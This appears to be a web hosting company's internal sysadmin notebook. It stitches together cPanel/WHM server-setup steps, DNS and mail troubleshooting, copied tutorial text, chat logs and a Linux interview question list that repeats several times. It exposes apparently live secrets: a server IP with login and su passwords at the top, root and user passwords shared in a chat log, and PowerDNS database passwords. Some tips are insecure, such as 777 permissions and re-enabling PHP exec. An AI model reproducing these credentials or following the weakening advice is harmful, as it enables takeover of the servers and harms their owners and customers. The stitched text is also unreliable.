IP : 66.7.221.70
Username : 3gteam
Password: e%b68.-?rMz#
Port no: 1097
Su password: G2@LV.mdWvD~
=========================
Regards,
Susannah
***************************************************************************
adding new IP to server
/scripts/rebuildippoolNew Server Configuration
__________________________________________________________________________
Introduction
It's vital that the server is configured correctly
1 – Verify Server Specifications
1 - PowerAdmin DNS
Login to poweradmin One and two (Add Supermaster zone)
IP new server IP
Host name: ns1.site.com or 1.nseasy.com
Account : server name
2 – Add 'A' record for the server hostname.
Search Zone and Records (e.g. site.com, nseasy.com, nsjet.com)
Edit and Add A record (IP of the new server)
3 - ???
Open another shell (different server) and type vi /etc/named.conf
Copy the line also-notify with IP address and semi colon
and New server : vi /etc/named.conf
Paste the also notify lines
and save (:wq!)
4 – Add Wheel Group User
On the shell of the new server, type:
useradd 3gteam
passwd 3gteam (Enter the password for 3gteam)
Restart sshd, then:
vi /etc/group
wheel:x:10:root,3gteam
5 – Configure SSH Port & Preferences
vi /etc/ssh/sshd_config
Remove # and enter port number 1097
Remove # and PermitRootlogin Yes Change to PermitRootlogin No
In WHM, In ConfigServer Security & Firewall, Firewall Configuration and add the IP 1097 in TCP_IN and TCP_Out
6 - PowerAdmin DNS
Go to WHM >> ConfigServer Security & Firewall >> Check Server Security >> Check /tmp permissions , Check /var/tmp permissions, Check /usr/tmp permissions Change all permissions as given in WHM on the shell
7 - ???
Check the php.ini file of the another server and compare it with the new server (Disable functions >> Just remove exec from the shell and restart apache)
8 – Enable PHP SuExec
In WHM, type Suexec, PHP and SuExec Configuration >> php 5 hander >>Drop down (select dso) and save changes
9 - MySQL
Check in another server for mysql connection > vi /etc/my.cnf (the values should be same on the new server)
10 - CSF
Go to http://configserver.net/ >> ConfigServer Mail Queues >> Right click >> wget http://configserver.net/free/cmq.tgz
Then go down on the link ConfigServer Mail Queues (install.txt) >> Click >>
Shell:
tar -xzf cmq.tgz
cd cmq/
sh install.sh
Refresh WHM and you will see ConfigServer Mail Queues at the left side bottom
Then open the link ConfigServer Mail Manage from http://configserver.net/ and wget the link ( wget http://configserver.net/free/cmq.tgz)
ConfigServer Mail Manage >> install.txt >> Click
Shell:
tar -xzf cmm.tgz
cd cmm/
sh install.sh
Login to WHM and scroll to the bottom of the left hand menu and you should see "ConfigServer Mail Manage"
If http command is not there on the server, then on the another server, type which http.
You will get a path for http. Then go in that path by vi /bin/http and on the new server, go by cd /bin and vi http and copy the code from old server (vi /bin/http)
11 – Packages & Features
Open a Old server WHM and edit packages >> and add package on a new server and enter the values as it is.
Then WHM >> Feature manager
Add Excite >>Feature List Name >> Excite >> Add >> Remove Click Be as we do not provide Click Be
12 - PowerAdmin DNS
Create a account as vanessatestjade.com (Example) from WHM >> Create account >> Package Excite
13 – Quotas
Then run the command /scripts/fixquotas on the server
14 - PowerAdmin DNS
Check the entries of the new added domain, In the PowerDNS 1 and 2
15 – WHM Configuration
Statistics Software Configuration
Enable Analog, Awstats & Webalizer
Tweak Settings
When adding a new domain, automatically create A entries for the registered nameservers if they would be contained in the zone. >> Unselect
The load average that will cause the server status to appear red = 10
Apache mod_userdir Tweak
16 - PowerAdmin DNS
Correct the following block in httpd.conf according to the server:
vi /etc/httpd/conf/httpd.conf
Just above the second block (pid) place the following
NameVirtualHost 67.23.226.77:80 (New server IP)
<VirtualHost 67.23.226.77> (New Server IP)
ServerName ice.site.com (New Server Name)
DocumentRoot /usr/local/apache/htdocs
</VirtualHost>
17 – RV Site Builder
a) To install Rv site builder on the cpanel server follow the following steps:
cd /usr/local/cpanel/whostmgr/docroot/cgi/
rm -rf /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/
rm -f rvsitebuilderinstaller.tar
wget http://download.rvglobalsoft.com/rvsitebuilderinstaller.tar
tar -xvf rvsitebuilderinstaller.tar
chmod 755 addon_rvsitebuilder.cgi
rm -f rvsitebuilderinstaller.tar
b) Open root WHM, at the bottom of menu on the left side where is under Plugins section, you will find RVSiteBuilder Manager menu.
c) Click RVSiteBuilder Manager to begin installation process. Which may take 10 to 20 minutes to complete.
d) Done!! Your cPanel should show RVSiteBuilder as a feature in all cPanel users.
18 - Fantastico
To Install Fantastico kindly follow the following steps on the server.
1) cd /usr/local/cpanel/whostmgr/docroot/cgi
Now you will need to download fantastico from netenberg.
2) wget http://www.netenberg.com/files/free/fantastico_whm_admin.tgz
Now extract the file.
3) tar -xzpf fantastico_whm_admin.tgz
Remove fantastico_whm_admin.tgz once it is extracted.
4) rm -rf fantastico_whm_admin.tgz
Now go to WHM, login as root and follow the link WHM >> Add-Ons >> Fantastico De Luxe WHM Admin (one of the lasts entries depending on your setup). There you complete the installation by following the online screens. Once done you are ready to use fantastico.
NOTE: Fantastico is a system designed to make installing popular scripts easy. Fantastico is a program that integrates with the popular online control panel Cpanel
19 – MinMax Monitoring
Login to shell of Prime server (if the new server configured is of site), prime port is 22 and root as user
/scripts/whoowns network-command.com
cd public_html/status03 (if adding in 3rd page )
vi config.php
Add the new server in the server list
cd /usr/local/apache/htdocs
Search for the file serverstats_inc.php
If not there, copy from any other server
cat serverstats_inc.php
Copy and paste on the new server
Restart apache
20 – Panopta
20 – DC Monitoring
21 – Nagios
22 – Shared SSL Provision and Installation
Change password on the shell with passwd
Put any password
Save
Save in the Database
In the data base Edit (Add Entry) Title (Server name) Username : IP Password : New one
23 – Add to Billing System
24 – Shared SSL Provision and Installation
25 - Disable Customer Contact
Login to WHM and go to “Configure Customer Contact”
Select the radio button “Disable”
Click on “Save Changes”
26 - Remove Supprot from Feature manager
Login to WHM and go to “Feature Manager”
Select “default” from drop box and click on edit
Search “Support” in the list and uncheck it.
27 - Run AXON script
Login to shell and run the following command on root
#wget repo1.dimenoc.com/dimenoc/DimeNOC.repo -O /etc/yum.repos.d/DimeNOC.repo && yum -y install axond
28- Configure backup
29 - Install kernel script
Login to shell of any server and new server
Type bellow commands on both the servers
# cd /home/3gteam
# vi /kscript
Above command will open the new file named as kscript on new server.
Just copy the contents of the kscripts file from old server and paste. Save the file and quit.
Notes:
1. what is ddos attack and how to prevent?
2. What is file system?
3. What is IP spoofing?
4. Port Numbers.
5. How to work FTP and what is use of port 20 and 21?
6. What is kernerl?
7. How many tables in iptables?
8. What are shell variables?
9. What is 'inode'?
10. What are the main differences between RHEL4 & RHEL5?
11. What is difference between imap and pop?
12. Describe linux boot sequence:
13. What different between port and protocols?
14. What is the difference between UDP and TCP internet protocols?
15. What is a zombie process?
16. What is difference between daemon and process?
17. Logs location.
18. difference between unix and linux?
19. What are the main differences between RHEL4 & RHEL5?
20. What are seven fields in the /etc/passwd file?
21. What is a filesystem?
22. What command is used to remove the password assigned to a group?
23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?
24. Which file defines all users on your system?
25. What is the minimum number of partitions you need to install Linux?
26. What is a PID?
27. Difference between Hard Link and Soft Link in Linux?
28. What is Raid? The different types and Levels of Raid?
29. What is NFS? What is its purpose?
30. What does nslookup do?
31. What is .htaccess?
32. How many field in crontab?
33. Which log contains information on currently logged in users?
34. What is DNS?
35. How do you create a swapfile?
36. How to get the mysqlbackup and restore?
37. Where is located hardware configuration file in linux?
38. Whats the advantage of using ssh over telnet?
39. How to assign temporary IP address to lan-card?
40. How to recover grub on linux server?
41. How to setup log rotation on linux server?
42. How to see only sub-directory in directory?
43. How to see only files in directory?
44. How to replace the word without opening the file?
Fsck
Generally, fsck is run automatically at boot time when the operating system detects that a file system is in an inconsistent state, indicating a non-graceful shutdown, such as a crash or power loss. As the command must be tailored specifically to the design of the file system, the exact behavior of various fsck implementations will vary. Typically, fsck utilities provide options for either interactively repairing damaged file systems (the user must decide how to fix specific problems), automatically deciding how to fix specific problems (so the user doesn't have to answer any questions), or reviewing the problems that need to be resolved on a file system without actually fixing them.
A system administrator can also run fsck manually if there is believed to be a problem with the file system. Because running fsck to repair a file system which is mounted for read/write operations can potentially cause severe data corruption/loss, the file system is normally checked while unmounted, mounted read-only, or with the system in a special maintenance mode that limits the risk of such damage.
A journaling file system is designed such that tools such as fsck do not need to be run after unclean shutdown (i.e. crash). The UFS2Filesystem in FreeBSD has background fsck, so it is usually not necessary to wait for fsck to finish before accessing the disk.
The Microsoft equivalent programs are CHKDSK and SCANDISK.
11. What is difference between imap and pop?
POP3
IMAP
Since email needs to be downloaded into desktop PC before being displayed, you may have the following problems for POP3 access:
* You need to download all email again when using another desktop PC to check your email.
* May get confused if you need to check email both in the office and at home.
The downloaded email may be deleted from the server depending on the setting of your email client.
Since email is kept on server, it would gain the following benefits for IMAP access:
* No need to download all email when using other desktop PC to check your email.
* Easier to identify the unread email.
All messages as well as their attachments will be downloaded into desktop PC during the 'check new email' process.
A whole message will be downloaded only when it is opened for display from its content.
Mailboxes can only be created on desktop PC. There is only one mailbox (INBOX) exists on the server.
Multiple mailboxes can be created on the desktop PC as well as on the server.
Filters can transfer incoming/outgoing messages only to local mailboxes.
Filters can transfer incoming/outgoing messages to other mailboxes no matter where the mailboxes locate (on the server or the PC).
Outgoing email is stored only locally on the desktop PC.
Outgoing email can be filtered to a mailbox on server for accessibility from other machine.
Messages are deleted on the desktop PC. Comparatively, it is inconvenient to clean up your mailbox on the server.
Messages can be deleted directly on the server to make it more convenient to clean up your mailbox on the server.
Messages may be reloaded onto desktop PC several times due to the corruption of system files.
The occurrence of reloading messages from the server to PC is much less when compared to POP3.
13. What different between port and protocols?
A protocol is an agreement on how to interpret data and how to respond to messages. They generally specify message formats and legal messages. Examples of protocols include:
* TCP/IP
* HTTP
* SSH
A port is part of socket end point in TCP and UDP. They allow the operating system to distinguish which TCP or UDP service on the host should receive incoming messages.
The confusion generally arises because, a number of ports are reserved (eg. port 80) and are generally listened to by severs expecting a particular protocol (HTTP in the case of port 80). While messages send to port 80 are generally expected to be HTTP messages, there is nothing stopping an non-HTTP server from listening on port 80 or an HTTP server from listening on an alternative port (for example 8080 or 8088).
14. What is the difference between UDP and TCP internet protocols?
Difference between TCP and UDP
TCP
UDP
Reliability: TCP is connection-oriented protocol. When a file or message send it will get delivered unless connections fails. If connection lost, the server will request the lost part. There is no corruption while transferring a message.
Reliability: UDP is connectionless protocol. When you a send a data or message, you don't know if it'll get there, it could get lost on the way. There may be corruption while transferring a message.
Ordered: If you send two messages along a connection, one after the other, you know the first message will get there first. You don't have to worry about data arriving in the wrong order.
Ordered: If you send two messages out, you don't know what order they'll arrive in i.e. no ordered
Heavyweight: - when the low level parts of the TCP "stream" arrive in the wrong order, resend requests have to be sent, and all the out of sequence parts have to be put back together, so requires a bit of work to piece together.
Lightweight: No ordering of messages, no tracking connections, etc. It's just fire and forget! This means it's a lot quicker, and the network card / OS have to do very little work to translate the data back from the packets.
Streaming: Data is read as a "stream," with nothing distinguishing where one packet ends and another begins. There may be multiple packets per read call.
Datagrams: Packets are sent individually and are guaranteed to be whole if they arrive. One packet per one read call.
Examples: World Wide Web (Apache TCP port 80), e-mail (SMTP TCP port 25 Postfix MTA), File Transfer Protocol (FTP port 21) and Secure Shell (OpenSSH port 22) etc.
Examples: Domain Name System (DNS UDP port 53), streaming media applications such as IPTV or movies, Voice over IP (VoIP), Trivial File Transfer Protocol (TFTP) and online multiplayer games etc
On Unix and Unix-like computer operating systems, a zombie process or defunct process is a process that has completed execution but still has an entry in the process table. This entry is still needed to allow the process that started the (now zombie) process to read its exit status. The term zombie process derives from the common definition of zombie—an undead person. In the term's metaphor, the child process has "died" but has not yet been "reaped". Also, unlike normal processes, the kill command has no effect on a zombie process.
When a process ends, all of the memory and resources associated with it are deallocated so they can be used by other processes. However, the process's entry in the process table remains. The parent can read the child's exit status by executing the wait system call, at which stage the zombie is removed. The wait call may be executed in sequential code, but it is commonly executed in a handler for the SIGCHLDsignal, which the parent receives whenever a child has died.
After the zombie is removed, its process ID and entry in the process table can then be reused. However, if a parent fails to call wait, the zombie will be left in the process table. In some situations this may be desirable, for example if the parent creates another child process it ensures that it will not be allocated the same process ID. On modern UNIX-like systems (that comply with SUSv3 specification in this respect), the following special case applies: if the parent explicitly ignores SIGCHLD by setting its handler to SIG_IGN (rather than simply ignoring the signal by default) or has the SA_NOCLDWAIT flag set, all child exit status information will be discarded and no zombie processes will be left.
A zombie process is not the same as an orphan process. An orphan process is a process that is still executing, but whose parent has died. They do not become zombie processes; instead, they are adopted by init (process ID 1), which waits on its children.
Zombies can be identified in the output from the Unix ps command by the presence of a “Z” in the “STAT” column. Zombies that exist for more than a short period of time typically indicate a bug in the parent program, or just an uncommon decision to reap children (see example). If the parent program is no longer running, zombie processes typically indicate a bug in the operating system. As with other leaks, the presence of a few zombies is not worrisome in itself, but may indicate a problem that would grow serious under heavier loads. Since there is no memory allocated to zombie processes except for the process table entry itself, the primary concern with many zombies is not running out of memory, but rather running out of process ID numbers.
To remove zombies from a system, the SIGCHLD signal can be sent to the parent manually, using the kill command. If the parent process still refuses to reap the zombie, the next step would be to remove the parent process. When a process loses its parent, init becomes its new parent. Init periodically executes the wait system call to reap any zombies with init as parent.
What is the difference between a daemon and a server process?
by NIXCRAFT on NOVEMBER 15, 2005 · 2 COMMENTS
Asked by Pari Kulkarni
Q.What is the difference between a daemon and a server process?
A. A 'daemon' is a software process that runs in the background (continuously) and provides the service to client upon request. For example named is a daemon. When requested it will provide DNS service. Other examples are:
* xinetd (it is a super-daemon, it is responsible for invoking other Internet servers when they are needed)
* inetd (same as xinetd, but with limited configuration options)
* sendmail/postfix (to send/route email)
* Apache/httpd (web server)
Following simple example illustrate relationship between client and daemon.
CLIENT -> Daemon
Browser Running one daemon for each of the services could significantly increase the load. However if you are running big site (with many user) it is advisable to use dedicated daemon. For example web server or MySQL database server.
A 'server process' run runs one time, when called by a daemon. Once done it will stop. For example telnetd (in.telnetd) or ftpd called from xinetd/inetd daemon . By calling server process from daemon you can save the load and memory. Use a server process for small services such as ftpd, telnetd
CLIENT -> Daemon -> Calls server process
ftp -> xinetd -> Calls ftpd
ftp xinetd stops ftpd
quit
Check if the server ip is open relay
http://www.checkor.com/
Also check at
http://www.spamhelp.org/shopenrelay/
============================================================================
What is an open relay?
An open relay (sometimes also referred to as a third-party relay) is a mail server that does not verify that it is authorised to send mail from the email address that a user is trying to send from. Therefore, users would be able to send email originating from any third-party email address that they want.
============================================================================
Why is an open relay bad?
Spammers are constantly on the lookout for open relay SMTP (Simple Mail Transfer Protocol) servers. They use the open relays to send unsolicited mail to a large number of email addresses, which has an impact on delivery speed, bandwidth, disk storage space, CPU processing and more.
A number of organisations are cracking down on spam originating from open relay servers by forming blacklists. Several anti-spam solutions check if the mailserver is in one of these blacklists before allowing incoming mail from it. If your mail server gets listed on one of these blacklists, a lot of the emails that you would be sending would not be reaching their destination.
============================================================================
What software blocks spam from open relays?
If your open relay is found by a blacklist organisation (usually if someone reports spam coming from your mail server), it would be blacklisted. There are loads of solutions (services, software and appliances/hardware) that block mail from mailservers listed in these blacklists. Many of these are implemented at a server level (eg by ISPs, company mail servers etc) even though not all client-based solutions have this feature.
If you are interested in finding software to block spam, you can browse our software section or alternatively take a look at our customizable server-based anti-spam software feature comparison; you can check out the ones listed which have public blacklist support here or else tweak the settings yourself here.
Also, you might be interested in taking a look at our services section (eg managed anti-spam solutions) or our appliances section (machines built specifically to stop spam).
============================================================================
How do I close my open relay?
If you are a system administrator interested in closing down your open relay (if you have an open relay, then you should!), you can check out the great list maintained by MAPS at http://www.mail-abuse.com/an_sec3rdparty.html.
Where can I get more technical info on the Simple Mail Transfer Protocol (SMTP)?
You may read the original Request For Comments (RFC 821) by Jonathan B. Postel, August 1982 and the improved version (RFC 2821) by The Internet Society, April 2001. The latter also makes RFC 974 and RFC 1869 obsolete.
============================================================================
To close the open relay run the follwing script from the server :
/scripts/fixrelayd
/etc/rc.d/init.d/antirelayd restart
service exim restart
============================================================================
The old way (open relay server test)
Telnet to mail.myserver.com at port 25 and issue all the following commands:
helo client.server.com
mail from: rockyjr@vsnl.com
rcpt to: vivek@nixcraft.in
telnet mail.myserver.com 25
Output:
Trying 202.51.x.xxx...
Connected to mail.myserver.com.
Escape character is '^]'.
220 mail.myserver.com ESMTP Postfix
helo client.server.com
250 mail.myserver.com
mail from: rockyjr@vsnl.com
250 Ok
rcpt to: vivek@nixcraft.in
554 : Relay access deniedsetting up default ownership for the folders
mkdir foldername
chgrp admin folder
ls -ld folder name
chmod 2070 folder namecsf -a 75.127.97.47
csf -a 208.82.98.73
csf -a 72.9.150.176
csf -a 63.247.193.26
csf -a 66.220.1.132
csf -a 38.106.100.202
csf -a 208.89.214.175
csf -a 67.220.203.15
csf -a 204.74.219.115
csf -a 68.234.15.44
csf -a 207.192.69.191
csf -a 206.251.36.33
csf -a 65.23.158.149
csf -a 209.40.199.237
csf -a 63.223.106.171
csf -a 75.127.97.47
csf -a 208.82.98.73
csf -a 72.9.150.176
csf -a 63.247.193.26
csf -a 66.220.1.132
csf -a 38.106.100.202
csf -a 208.89.214.175
csf -a 67.220.203.15
csf -a 204.74.219.115
csf -a 208.82.98.73
csf -a 66.220.1.132
csf -a 207.192.69.191
csf -a 79.170.90.177
csf -a 212.91.242.137
csf -a 85.234.142.27
csf -a 213.92.118.220
csf -a 95.129.50.5
csf -a 92.243.0.140
csf -a 83.233.30.207
csf -a 59.188.9.237
csf -a 203.211.132.49
csf -a 202.130.33.202
PRATITION SECURITY
* nosuid - Do not set SUID/SGID access on this partition
* nodev - Do not character or special devices on this partition
* noexec - Do not set execution of any binaries on this partition
* ro - Mount file system as readonly
* quota - Enable disk quota
Please note that above options can be set only, if you have a separate partition. Make sure you create a partition as above with special option set on each partition:
* /home - Set option nosuid, and nodev with diskquota option
* /usr - Set option nodev
* /tmp - Set option nodev, nosuid, noexec option must be enabled
For example entry in /etc/fstabe for /home should read as follows:
mount -o remount /tmp
mount -a
mount
pkill -9 perl
[5:18:28 AM] techsupportco5: How to REJECT the IP in router
# route add -host IP reject
To confirm the null routing status, use ip command as follows:
# ip route get IP
How do I remove null routing? How do I remove blocked IP address?
Simple use router delete command,
# ip route delete 65.21.34.4
#rount -n
[5:18:53 AM] techsupportco5: >>>>>>>>>>>>>>>>>>>>SCREEN COMMAND>>>>>>>>>>>>>>>>>>
# Start Screen: screen -S RV
# Detatch Screen: Ctrl-a d
# Re-attach Screen: screen -x or screen -x PID OR screen -r <session name>
#screen -ls
There is a screen on:
6329.RV (Detached)
1 Socket in /var/run/screen/S-root.
#Remove Screen :- screen -a OR exit
############################################
THE (DOT) FILES
>>The good old dot files. Let’s clear up some confusion here by defining each.
.bash_login
>>>>Treated by bash like .bash_profileif that doesn’t exist.
.bash_logout
>>>Sourced by bash login shells at exit.
.bash_profile
>>>Sourced by bash login shells after /etc/profile
.bash_history
>>>>The list of commands executed previously.
.profile
>>>>Treated by bash like ~/.bash_profile if that and .bash_login don’t exist.
.vimrc
>>>>Default “Vim” configuration file.
.emacs
Read by emacs at startup
PDNS installation :
http://jamesreubenknowles.com/install-powerdns-266
PDNS faq:
http://wiki.powerdns.com/trac/wiki/PowerDNSFaq
If pdns is down and showing the following error :
Jan 8 21:27:51 second pdns[16879]: Not authoritative for 'qboost.com', sending servfail to 110.248.223.100 (recursion was desired)
Jan 8 21:27:51 second pdns[16879]: Not authoritative for 'qboost.com', sending servfail to 110.248.223.100 (recursion was desired)
Jan 8 21:28:02 second pdns[16879]: Not authoritative for 'bankaustria.org', sending servfail to 61.220.4.103
Jan 8 21:28:27 second pdns[16879]: Not authoritative for 'fluxy.net', sending servfail to 194.106.174.234 (recursion was desired)
Jan 8 21:28:32 second pdns[16879]: Not authoritative for 'mail.bizturn.com', sending servfail to 124.105.63.200 (recursion was desired)
Jan 8 21:28:42 second pdns[16879]: Not authoritative for 'clubbinnyc.com', sending servfail to 207.68.176.76
Jan 8 22:00:24 second pdns[18819]: Not authoritative for 'beammarineoptics.com', sending servfail to 123.22.125.21 (recursion was desired)
also no responding to dig :
dig @67.19.91.74 vicks.com
Try the following solution :
vi etc/pdns/pdns.conf
(Conf file of pdns)
(Check for the database password)
launch=gmysql
gmysql-host=127.0.0.1
gmysql-user=power_admin
gmysql-password=WASQYD34
gmysql-dbname=powerdns
(Login to mysql )
mysql -u power_admin -p
pass : WASQYD34
use powerdns;
(Repair the tables)
mysql> repair table records;
+------------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+------------------+--------+----------+----------+
| powerdns.records | repair | status | OK |
+------------------+--------+----------+----------+
1 row in set (14.73 sec)
Restart mysql
check the logs now and also the dig
==============
one.nseasy.com:
launch=gmysql
gmysql-host=127.0.0.1
gmysql-user=power_admin
gmysql-password=d4fS4563fSJ43cAx44fWsh78
gmysql-dbname=powerdns
***********************************************************************
dig result can be as :
; <<>> DiG 9.3.4-P1 <<>> @67.18.248.82 ghostso.com
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33707
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;ghostso.com. IN A
;; ANSWER SECTION:
ghostso.com. 14400 IN A 66.7.221.164
;; Query time: 3 msec
;; SERVER: 67.18.248.82#53(67.18.248.82)
;; WHEN: Sat Mar 6 01:14:57 2010
;; MSG SIZE rcvd: 44
[9/4/2010 12:53:33 PM] Sanjin: hi
[9/4/2010 12:53:49 PM] techsupportco7: Can you please help me with one thing ?
[9/4/2010 12:53:56 PM] Sanjin: what's up?
[9/4/2010 12:54:34 PM] techsupportco7: On jade.site.com, I am seeing lots of perl proccess are running with nobody
[9/4/2010 12:54:54 PM] techsupportco7: I can pass you the top command output here
[9/4/2010 12:54:55 PM] Sanjin: what're the login credentials? i'll take a look for you
[9/4/2010 12:55:06 PM] techsupportco7: 1 sec
[9/4/2010 12:55:26 PM] techsupportco7: root | KC*hc9%9lrbZ
[9/4/2010 12:55:34 PM] techsupportco7: port : 1097
[9/4/2010 12:55:45 PM] Sanjin: no 3gteam on this one?
[9/4/2010 12:55:54 PM] techsupportco7: yes, its there
[9/4/2010 12:55:57 PM] techsupportco7: sorrry
[9/4/2010 12:56:07 PM] Sanjin: what's the 3gteam password?
[9/4/2010 12:56:16 PM] techsupportco7: 3gteam Password : e%b68.-?rMz#
[9/4/2010 12:59:09 PM] Sanjin: fixed
[9/4/2010 12:59:14 PM] Sanjin: i secured /tmp for you and killed the processes
[9/4/2010 12:59:45 PM] techsupportco7: Thank you , Yes can see now load is deacreasing
[9/4/2010 12:59:50 PM] Sanjin: :)
[9/4/2010 1:00:00 PM] techsupportco7: may know how you did that ?
[9/4/2010 1:00:20 PM] Sanjin: edit /etc/fstab to include defaults,nosuid,noexec,rw for /tmp & /dev/shm rather than just "defaults"
[9/4/2010 1:00:31 PM] Sanjin: and then pkill -9 -u nobody to kill all the nobody processesTo check php info fro the shell
php -r 'phpinfo();' | less
phpBB blank page :
Its shows blank page after installation on phpbb
just set 777 permissions for
config.php, images/avatars/upload , cache , files/ and store/
Aslo edit the config.php file and check mysql type, if its set with mysqli :
change it from
$dbms = 'mysqli' ;
to
$dbms = 'mysql' ;
Php mail list error : 500 Internel server error :
That's not quite right.
I fear that free hosts, geocities and such like, do not allow htaccess files, but others do and yet you can still suffer from the dreaded 500 error.
This can be traced to the fact that these hosts allow htaccess files, BUT they do not allow php_flag statements within them.
To get around this issue, you need to take the php_flag line out, resave the htaccess file, then add to or create a fresh php.ini file with the php_flag statement in it, BUT without the php_flag prefix.
Save this php.ini file into the root folder of your phplist installation.
Solution
1. go to php list directory and edit the .htaccesss file
remove the line :
php_flag magic_quotes_gpc on
and save the file.
2. copy the php.ini file and put it in the phplist directory and enable php_flag magic_quotes_gpc on
and check phplist admin area
DDos atack on pluto
netstat -an | grep SYN
pico /etc/csf/csf.deny
service csf restart
server httpd startPort open tester
http://www.yougetsignal.com/tools/open-ports/How can we prevent or defend ourselves from these attacks?
Like said, Prevention is better than cure. Its very much true in the case of DDOS . DDOS happens because of vulnerable softwares/applications running on a machines in a particular network. Attackers use those security holes to compromise the servers in different network and install the DDOS tools (eg trinoo -DDOS tool )
:::::::::: To prevent DDOS in future, follow the below steps which has 12 major steps ::::::::::::::::::::::::::::::
Setup machine / network keeping security in mind (Implement Good Security policy)
Setup a firewall which does Ingress and Egress Filtering at Gateway
Eg: Steps to Install AFP
----
bash# wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz
bash# tar -zxf apf-current.tar.gz
bash# cd apf-<version number>
bash# ./install.sh
Notes: Go through the Document in the Apf and configure it for your needs. All configuration is set at conf.apf which is normally located at /etc/apf/conf.apf
Enable Anit-DOS mode in Apf (ie in conf.apf) . Also make sure that your root's cron has an entry like the one below
*/8 * * * * root /etc/apf/ad/antidos -a >> /dev/null 2>&1
-----
Install IDS on your gateway/hosts to alert you when someone tries to sniff In.
Eg: AIDE
----------
(a) Wget ftp://ftp.cs.tut.fi/pub/src/gnu/aide-0.7.tar.gz
(b) Untar it
tar -zxvf aide-0.7.tar.gz
(c) cd aide-0.7
(d) Then execute
./configure -with-gnu-regexp
(e) Final steps to install make;make install
(f) Now the main step..To configure AIDE.AIDE stores all its rule sets in the file called aide.conf. Lets populate it get more details of how to configure and all from man aide.conf
(g) Here I am taking an example .See below
Here is a sample short aide.conf:
Rule = p+i+u+g+n+s+md5
/etc p+i+u+g
/sbin Rule
/usr/local/apache/conf Rule
/var Rule
!/var/spool/.*
!/var/log/.*
In the above configuration listed , a rule called "Rule" is set to check permissions (p), inode (i), user (u), group (g), number of links (n), size (s), and md5 checksum (md5). This rules are applied to all files in /bin, /sbin, /var, and /usr/local/apache/conf because they should rarely if ever change. Files in /etc are checked for changes in only permissions, inode, user, and group because their size may change, but other things shouldn't. Files and directories in /var/spool and /var/log are not checked because those are folders where maximum updation takes place.
(h) After configuring AIDE should be initiated with all these rules.
For that execute aide -init
----------
Products price showing as 0
go to >>
cd osc/includes/languages
pico english.php
and set define('LANGUAGE_CURRENCY', 'INR'); to the currency whatever you want to set.
http://forums.oscommerce.com/topic/352336-products-price-showing-as-0/
******************************************************************************************
http://www.oscmax.com/forums/oscommerce-2-2-modification-help/6056-product-price-showing-0-a.html
This is a discussion on Product price showing as 0 within the osCommerce 2.2 Modification Help forums, part of the osCommerce 2.2 Forums category; Hi, I am getting Product Price as Zero. I have setup the Euro currency. What is the problem could be?...
login into admin area : http://site name/osc/admin/login.php
In Admin>Configuration>My Store
Switch To Default Language Currency = true
That will display prices in GBP or whatever... It's easy no?1. what is ddos attack and how to prevent?
2. What is file system?
3. What is IP spoofing?
4. Port Numbers.
5. How to work FTP and what is use of port 20 and 21?
6. What is kernerl?
7. How many tables in iptables?
8. What are shell variables?
9. What is 'inode'?
10. What are the main differences between RHEL4 & RHEL5?
11. What is difference between imap and pop?
12. Describe linux boot sequence:
13. What different between port and protocols?
14. What is the difference between UDP and TCP internet protocols?
15. What is a zombie process?
16. What is difference between daemon and process?
17. Logs location.
18. difference between unix and linux?
19. What are the main differences between RHEL4 & RHEL5?
20. What are seven fields in the /etc/passwd file?
21. What is a filesystem?
22. What command is used to remove the password assigned to a group?
23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?
24. Which file defines all users on your system?
25. What is the minimum number of partitions you need to install Linux?
26. What is a PID?
27. Difference between Hard Link and Soft Link in Linux?
28. What is Raid? The different types and Levels of Raid?
29. What is NFS? What is its purpose?
30. What does nslookup do?
31. What is .htaccess?
32. How many field in crontab?
33. Which log contains information on currently logged in users?
34. What is DNS?
35. How do you create a swapfile?
36. How to get the mysqlbackup and restore?
37. Where is located hardware configuration file in linux?
38. Whats the advantage of using ssh over telnet?
39. How to assign temporary IP address to lan-card?
40. How to recover grub on linux server?
41. How to setup log rotation on linux server?
42. How to see only sub-directory in directory?
43. How to see only files in directory?
44. How to replace the word without opening the file?1. what is ddos attack and how to prevent?
2. What is file system?
3. What is IP spoofing?
4. Port Numbers.
5. How to work FTP and what is use of port 20 and 21?
6. What is kernerl?
7. How many tables in iptables?
8. What are shell variables?
9. What is 'inode'?
10. What are the main differences between RHEL4 & RHEL5?
11. What is difference between imap and pop?
12. Describe linux boot sequence:
13. What different between port and protocols?
14. What is the difference between UDP and TCP internet protocols?
15. What is a zombie process?
16. What is difference between daemon and process?
17. Logs location.
18. difference between unix and linux?
19. What are the main differences between RHEL4 & RHEL5?
20. What are seven fields in the /etc/passwd file?
21. What is a filesystem?
22. What command is used to remove the password assigned to a group?
23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?
24. Which file defines all users on your system?
25. What is the minimum number of partitions you need to install Linux?
26. What is a PID?
27. Difference between Hard Link and Soft Link in Linux?
28. What is Raid? The different types and Levels of Raid?
29. What is NFS? What is its purpose?
30. What does nslookup do?
31. What is .htaccess?
32. How many field in crontab?
33. Which log contains information on currently logged in users?
34. What is DNS?
35. How do you create a swapfile?
36. How to get the mysqlbackup and restore?
37. Where is located hardware configuration file in linux?
38. Whats the advantage of using ssh over telnet?
39. How to assign temporary IP address to lan-card?
40. How to recover grub on linux server?
41. How to setup log rotation on linux server?
42. How to see only sub-directory in directory?
43. How to see only files in directory?
44. How to replace the word without opening the file?1. what is ddos attack and how to prevent?
2. What is file system?
3. What is IP spoofing?
4. Port Numbers.
5. How to work FTP and what is use of port 20 and 21?
6. What is kernerl?
7. How many tables in iptables?
8. What are shell variables?
9. What is 'inode'?
10. What are the main differences between RHEL4 & RHEL5?
11. What is difference between imap and pop?
12. Describe linux boot sequence:
13. What different between port and protocols?
14. What is the difference between UDP and TCP internet protocols?
15. What is a zombie process?
16. What is difference between daemon and process?
17. Logs location.
18. difference between unix and linux?
19. What are the main differences between RHEL4 & RHEL5?
20. What are seven fields in the /etc/passwd file?
21. What is a filesystem?
